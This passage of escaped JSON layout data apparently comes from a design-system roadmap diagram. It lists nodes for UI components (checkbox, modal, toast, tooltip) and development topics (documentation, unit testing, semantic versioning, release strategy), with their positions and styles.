\"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2158.2548214022336\n      }\n    },\n    {\n      \"id\": \"bzY_iXRnotct_WnNRTlbd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2211.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Icon\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iusI39fxcu2rbMXiosaM6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2211.2548214022336\n      }\n    },\n    {\n      \"id\": \"F5_sxUnnGEdgF6BkA5T5x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1893.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Input Checkbox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1893.2548214022338\n      }\n    },\n    {\n      \"id\": \"rN-_plAA5FkcQl03wsL18\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1946.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Input Radio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1946.2548214022336\n      }\n    },\n    {\n      \"id\": \"NISeaJUlDtQ0kSuyxmrOT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1999.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Input Switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjiJJg4KNr8lyktFQd868\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1999.2548214022336\n      }\n    },\n    {\n      \"id\": \"n1nUkMqGtPobZPJHCvPsk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2264.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Select\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iusI39fxcu2rbMXiosaM6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2264.2548214022336\n      }\n    },\n    {\n      \"id\": \"iusI39fxcu2rbMXiosaM6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2317.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Textarea\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2317.2548214022336\n      }\n    },\n    {\n      \"id\": \"2T7tiM3Ew3H1U5iJR2TDb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2052.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"List\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2052.2548214022336\n      }\n    },\n    {\n      \"id\": \"JhnHOMIlU6mQcwvIpErUY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2105.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Loading Indicator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2105.2548214022336\n      }\n    },\n    {\n      \"id\": \"IjNitkG25vNo30rB4ckNV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2158.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Modal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2158.2548214022336\n      }\n    },\n    {\n      \"id\": \"1vYR1EMyZhJA-znxnFBBb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2211.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tabs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2211.2548214022336\n      }\n    },\n    {\n      \"id\": \"-T7uL6a3lJ5-IIcDaG6IN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2264.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Toast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2264.2548214022336\n      }\n    },\n    {\n      \"id\": \"2oCAzsk_y2Y2oHUi467dp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2317.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tooltip\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 2317.2548214022336\n      }\n    },\n    {\n      \"id\": \"XzNwNomMj4gRw-CL3as4u\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -60.669982461503835,\n        \"y\": 1840.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"nkf1WaXyBcBFknVlywsYu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 525\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -60.669982461503835,\n        \"y\": 1840.2548214022338\n      }\n    },\n    {\n      \"id\": \"jggrr5nZOe6FY3ZrZJTOw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -377.3175069304428,\n        \"y\": 2026.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating Core Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -377.3175069304428,\n        \"y\": 2026.2548214022338\n      }\n    },\n    {\n      \"id\": \"NC75JWJMKXeQB2fTo0ZQJ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -619.1381872719935,\n        \"y\": 1835.7548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 70,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -619.1381872719935,\n        \"y\": 1835.7548214022338\n      }\n    },\n    {\n      \"id\": \"ccpT9MPFbc3Ewjm1tFMsZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1878.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Editor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiCNCRpMPgZUhn7JdaIZA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1878.2548214022338\n      }\n    },\n    {\n      \"id\": \"uO-2O0Jwh_DxrMAB9wxp1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1931.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Plugins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiCNCRpMPgZUhn7JdaIZA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1931.2548214022338\n      }\n    },\n    {\n      \"id\": \"CYY6nbQiC2pu5ATWmO6wA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1984.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiCNCRpMPgZUhn7JdaIZA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 1984.2548214022338\n      }\n    },\n    {\n      \"id\": \"TiCNCRpMPgZUhn7JdaIZA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -697.6381872719935,\n        \"y\": 2037.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Contribution Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7n61402xwhIgJ7dPHg8q7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -697.6381872719935,\n        \"y\": 2037.2548214022338\n      }\n    },\n    {\n      \"id\": \"L5re9KKWvMfS9f-uggNPN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.6381872719935,\n        \"y\": 2098.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"21pccUw8Y00FpFjxJXFsS\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 593\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.6381872719935,\n        \"y\": 2098.4551467174065\n      }\n    },\n    {\n      \"id\": \"sD6J4uY0G7YNLCVoQkxmg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -642.1381872719935,\n        \"y\": 2104.7548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Development\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"NC75JWJMKXeQB2fTo0ZQJ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 118,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -642.1381872719935,\n        \"y\": 2104.7548214022336\n      }\n    },\n    {\n      \"id\": \"VeLiPzbGr22_Mh_8T2Gnf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2147.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component Catalog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ccpT9MPFbc3Ewjm1tFMsZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2147.2548214022336\n      }\n    },\n    {\n      \"id\": \"k1Lwk_b6cLIeyQwc4RUh1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2200.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uO-2O0Jwh_DxrMAB9wxp1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2200.2548214022336\n      }\n    },\n    {\n      \"id\": \"zEqFAuH9zmKTLwwgx54pW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2253.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Code Style\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CYY6nbQiC2pu5ATWmO6wA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2253.2548214022336\n      }\n    },\n    {\n      \"id\": \"y8No8I0MltA91j4Q2toT0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2306.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2306.2548214022336\n      }\n    },\n    {\n      \"id\": \"yhP8EhyCWWRBLkYPyOFeg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2359.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accessibility Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2359.2548214022336\n      }\n    },\n    {\n      \"id\": \"ZLt1yJqinC8OSpqucC2dV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2412.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Semantic Versioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2412.2548214022336\n      }\n    },\n    {\n      \"id\": \"CfWCQNaCJGL-egRhFhc4B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2465.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Release Strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2465.2548214022336\n      }\n    },\n    {\n      \"id\": \"IVYe8oh1IWbUbxMZRxVQA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2518.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Commit Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2518.2548214022336\n      }\n    },\n    {\n      \"id\": \"wd9ZHZmqV7wbLN-9V4EQy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2571.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"PR Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xJ1LAAhiZvbZOLRVc1HZa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2571.2548214022336\n      }\n    },\n    {\n      \"id\": \"xJ1LAAhiZvbZOLRVc1HZa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2624.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Contribution Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiCNCRpMPgZUhn7JdaIZA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 2624.2548214022336\n      }\n    },\n    {\n      \"id\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -379.3175069304428,\n        \"y\": 2463.9551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Project Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -379.3175069304428,\n        \"y\": 2463.9551467174065\n      }\n    },\n    {\n      \"id\": \"TWx2jJqOyI3CXCOTQ106_\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -24.638187271993502,\n        \"y\": 2431.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"21pccUw8Y00FpFjxJXFsS\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 375,\n        \"height\": 114\n      },\n      \"resizing\": true,\n      \"focusable\": 